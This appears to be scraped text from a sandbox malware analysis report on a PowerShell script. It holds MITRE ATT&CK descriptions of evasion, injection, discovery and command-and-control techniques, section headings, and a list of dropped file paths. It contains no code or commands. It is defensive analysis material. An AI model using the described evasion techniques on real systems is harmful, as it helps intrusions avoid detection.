Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report KpCJCaQswCshdLQFFKLtCbGdhL.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mjktdwsk.bhl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nijn4qcq.h0s.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tehugaot.1no.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xnqoph0f.yg4.ps1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DLDLD0SCXZZ6ZWLEFA7H.temp

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Chrome Cache Entry: 213

Chrome Cache Entry: 214

Chrome Cache Entry: 215

Chrome Cache Entry: 216

Chrome Cache Entry: 217

Windows Analysis Report
KpCJCaQswCshdLQFFKLtCbGdhL.ps1